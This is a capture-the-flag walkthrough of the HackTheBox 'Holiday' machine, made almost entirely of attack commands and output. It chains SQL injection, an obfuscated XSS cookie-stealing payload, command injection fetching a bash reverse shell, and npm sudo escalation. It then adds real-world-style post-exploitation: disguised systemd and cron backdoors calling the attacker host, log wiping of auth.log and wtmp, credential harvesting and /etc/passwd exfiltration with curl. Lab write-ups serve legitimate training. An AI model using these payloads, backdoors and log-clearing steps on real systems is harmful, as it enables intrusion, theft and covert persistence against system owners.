HackTheBox Holiday
Writeup for HackTheBox Holiday
HackTheBox Holiday
Machine Synopsis
Key Exploitation Techniques:
- SQL injection (SQLite) for credential discovery
- Stored XSS with filter bypasses (HTML entity encoding,
String.fromCharCode
) - Session hijacking via cookie exfiltration
- Command injection with character filtering bypass (IP to hex conversion)
- npm privilege escalation via malicious
package.json
Reconnaissance & Enumeration
Port Discovery
1
2
3
4
5
6
7
8
9
10
$ nmap -p- --min-rate 10000 10.10.10.25
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt
$ nmap -p 22,8000 -sC -sV 10.10.10.25
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
8000/tcp open http Node.js Express framework
|_http-title: Error
Web Application Analysis
The application on port 8000 hosts a Node.js Express application with login functionality.
1
2
3
4
# Directory enumeration
$ dirsearch -u http://10.10.10.25:8000
302 - 28B - /admin -> /login
200 - 1KB - /login
Key Findings:
/admin
redirects to/login
- Node.js Express framework detected
- Authentication required for admin access
Exploitation
SQL Injection Discovery
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Create login request file
$ cat > login_req << 'EOF'
POST /login.php HTTP/1.1
Host: 10.10.10.25:8000
Content-Type: application/x-www-form-urlencoded
username=admin&password=password
EOF
# SQLMap exploitation
$ sqlmap -r login_req --risk=3 --level=5 -T users --dump --threads 10
[17:05:44] [INFO] the back-end DBMS is SQLite
+----+--------+----------------------------------+----------+
| id | active | password | username |
+----+--------+----------------------------------+----------+
| 1 | 1 | fdc8cd4cff2c19e0d1022e78481ddf36 | RickA |
+----+--------+----------------------------------+----------+
Credential Recovery
1
2
3
4
5
6
# Hash identification and cracking
$ echo "fdc8cd4cff2c19e0d1022e78481ddf36" | hash-identifier
Possible Hashs:
[+] MD5
# CrackStation lookup reveals: nevergonnagiveyouup
Credentials: RickA:nevergonnagiveyouup
Admin Panel Access
Login to the booking management portal reveals a notes system with admin approval functionality.
Key Observation: “All notes must be approved by an administrator - this process can take up to 1 minute.”
Stored XSS Development
Filter Analysis
1
2
3
4
5
6
7
8
9
10
# Test basic XSS payload
<script>alert(1)</script>
# Result: HTML entities encoded
# Test image tag
<img src=1 href=1 onerror="javascript:alert(1)"></img>
# Result: <img src=1></img> (onerror filtered)
# Test callback capability
<img src='http://10.10.16.23/test.jpg' />
XSS Payload Creation
1
2
3
4
5
6
7
8
9
# Create cookie exfiltration script
$ cat > cookie.js << 'EOF'
window.addEventListener('DOMContentLoaded', function(e) {
window.location = "http://10.10.16.23:8888/?cookie=" + encodeURI(document.getElementsByName("cookie")[0].value)
})
EOF
# Host payload
$ python3 -m http.server 80
Filter Bypass Development
1
2
3
4
5
6
7
8
# Encode JavaScript payload to bypass quote filtering
$ python3 -c "
command = 'document.write(\"<script src=\\\"http://10.10.16.23/cookie.js\\\"></script>\");'
encoded = ','.join(str(ord(c)) for c in command)
print(f'String.fromCharCode({encoded})')
"
# Result: String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,50,51,47,99,111,111,107,105,101,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59)
Final XSS Payload
1
<img src="x/><script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,50,51,47,99,111,111,107,105,101,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59))</script>">
Session Hijacking
1
2
3
4
5
6
7
8
# Setup cookie capture listener
$ nc -nlvp 8888
listening on [any] 8888...
# Submit XSS payload and wait for admin approval
# Cookie received:
connect to [10.10.16.23] from (UNKNOWN) [10.10.10.25] 48836
GET /?cookie=connect.sid=s%253A457e3d80-e62e-11ef-bd43-cf9e0fb0879d.8VCVvWUEWXnuWeseitCbJAVfds2XHDwxLqSEto5YXug HTTP/1.1
Admin Session Cookie: s%3A457e3d80-e62e-11ef-bd43-cf9e0fb0879d.8VCVvWUEWXnuWeseitCbJAVfds2XHDwxLqSEto5YXug
Command Injection Discovery
The admin panel exports function accepts a table
parameter with character filtering [a-z0-9&\s\/]
.
Constraints:
- Only lowercase letters, numbers, ampersand, space, forward slash allowed
- Dots (.) blocked, preventing direct IP addresses
- Semicolons (;) blocked, requiring ampersand (&) for command chaining
IP Address Conversion
1
2
3
4
5
6
7
8
9
10
11
12
# Convert IP to hexadecimal format
$ python3 -c "
import ipaddress
ip = '10.10.16.23'
hex_ip = '0x' + ''.join(f'{int(octet):02x}' for octet in ip.split('.'))
print(f'{ip} -> {hex_ip}')
"
# 10.10.16.23 -> 0x0a0a1017
# Verify hex IP resolution
$ ping 0x0a0a1017
PING 0x0a0a1017 (10.10.16.23) 56(84) bytes of data.
Command Injection Exploitation
1
2
3
4
5
6
7
8
9
10
11
# Create reverse shell script
$ cat > rev << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.23/443 0>&1
EOF
# Host payload
$ python3 -m http.server 80
# Setup listener
$ nc -nlvp 443
Injection Payload:
1
2
3
4
5
6
7
GET /admin/export?table=bookings%26wget+0x0a0a1017/rev%26bash+rev HTTP/1.1
# Reverse shell received
connect to [10.10.16.23] from (UNKNOWN) [10.10.10.25] 36188
algernon@holiday:~/app$ whoami
algernon
algernon@holiday:~/app$ cat ~/user.txt
54fc61db1ef37e5f0649c540f97cae32
Privilege Escalation
Sudo Enumeration
1
2
3
algernon@holiday:~$ sudo -l
User algernon may run the following commands on holiday:
(ALL) NOPASSWD: /usr/bin/npm i *
Critical Finding: algernon
can execute npm install
with any arguments as root without password.
npm Privilege Escalation
Malicious Package Creation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Create malicious package.json
$ cat > package.json << 'EOF'
{"scripts": {"preinstall": "/bin/sh"}}
EOF
# Transfer to target
$ python3 -m http.server 80
# Download malicious package
algernon@holiday:/tmp$ wget 10.10.16.23/package.json
# Execute npm with unsafe flag to trigger preinstall script
algernon@holiday:/tmp$ sudo /usr/bin/npm i --unsafe
> undefined preinstall /tmp
> /bin/sh
# whoami
root
# cat /root/root.txt
77006c4b20eeba12c59de4f7dbbd3221
Post-Exploitation Techniques
Persistence Methods
SSH Key Persistence
1
2
3
4
5
6
7
# Generate SSH key pair
$ ssh-keygen -t rsa -b 4096 -f holiday_persistence
# Install as root
# mkdir -p /root/.ssh
# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQ..." >> /root/.ssh/authorized_keys
# chmod 600 /root/.ssh/authorized_keys
npm Global Package Backdoor
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Create persistent backdoor package
# mkdir -p /usr/lib/node_modules/system-update
# cat > /usr/lib/node_modules/system-update/package.json << 'EOF'
{
"name": "system-update",
"version": "1.0.0",
"scripts": {
"start": "node index.js"
}
}
EOF
# cat > /usr/lib/node_modules/system-update/index.js << 'EOF'
const { spawn } = require('child_process');
spawn('bash', ['-c', 'bash -i >& /dev/tcp/10.10.16.23/4444 0>&1'], { stdio: 'inherit' });
EOF
# Create system service
# cat > /etc/systemd/system/system-update.service << 'EOF'
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/npm start
WorkingDirectory=/usr/lib/node_modules/system-update
Restart=always
[Install]
WantedBy=multi-user.target
EOF
# systemctl enable system-update.service
Cron Backdoor
1
2
3
4
5
6
7
# Create reverse shell payload
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.23 LPORT=4444 -f elf -o backdoor
# Install persistent cron job
# wget 10.10.16.23/backdoor -O /usr/bin/.npm-update
# chmod +x /usr/bin/.npm-update
# echo "*/30 * * * * /usr/bin/.npm-update" >> /etc/crontab
Defense Evasion
Log Sanitization
1
2
3
4
5
6
7
8
9
10
11
12
# Clear Node.js application logs
# > /var/log/nodejs/app.log
# find /home/algernon -name "*.log" -exec > {} \;
# Clear system logs
# > /var/log/auth.log
# > /var/log/syslog
# > /var/log/wtmp
# Clear npm logs
# rm -rf /home/algernon/.npm/_logs/*
# > /root/.npm/_logs/debug.log
Process Disguise
1
2
3
# Rename backdoor to appear legitimate
# mv /usr/bin/.npm-update /usr/bin/npm-check-updates
# chmod +x /usr/bin/npm-check-updates
Lateral Movement Preparation
Network Discovery
1
2
3
4
5
6
# Discover internal networks
# ip route show
# ss -tlnp
# Scan for internal services
# for port in 3000 3306 5432 6379 8080 9000; do nc -zv 127.0.0.1 $port 2>&1 | grep succeeded; done
Credential Harvesting
1
2
3
4
5
6
7
8
# Search for Node.js application secrets
# grep -r "password\|secret\|key" /home/algernon/app/ 2>/dev/null
# Extract database credentials if present
# find /home/algernon -name "*.json" -exec grep -l "database\|mongo\|mysql" {} \;
# Check for SSH keys
# find /home -name "id_*" -o -name "*.pem" 2>/dev/null
Service Enumeration
1
2
3
4
5
# Check for running Node.js applications
# ps aux | grep node
# Examine package.json files for service information
# find / -name "package.json" -exec cat {} \; 2>/dev/null | grep -E "(name|version|dependencies)"
Alternative Exploitation Methods
Manual XSS Testing
1
2
3
4
# Test for XSS without automation
$ curl -X POST "http://10.10.10.25:8000/notes" \
-H "Cookie: connect.sid=..." \
-d "note=<img src=x onerror=alert(1)>"
Alternative Command Injection
1
2
3
4
5
# Using netcat for direct shell
# table=bookings%26nc+0x0a0a1017+443+-e+/bin/bash
# File exfiltration
# table=bookings%26cat+/etc/passwd%26curl+0x0a0a1017:8888+-d+@-
Alternative npm Exploitation
1
2
3
4
5
6
7
8
9
10
11
12
13
# Using npm postinstall script
$ cat > package.json << 'EOF'
{
"scripts": {
"postinstall": "chmod +s /bin/bash"
}
}
EOF
# After npm install:
algernon@holiday:/tmp$ /bin/bash -p
bash-4.3# whoami
root
This post is licensed under CC BY 4.0 by the author.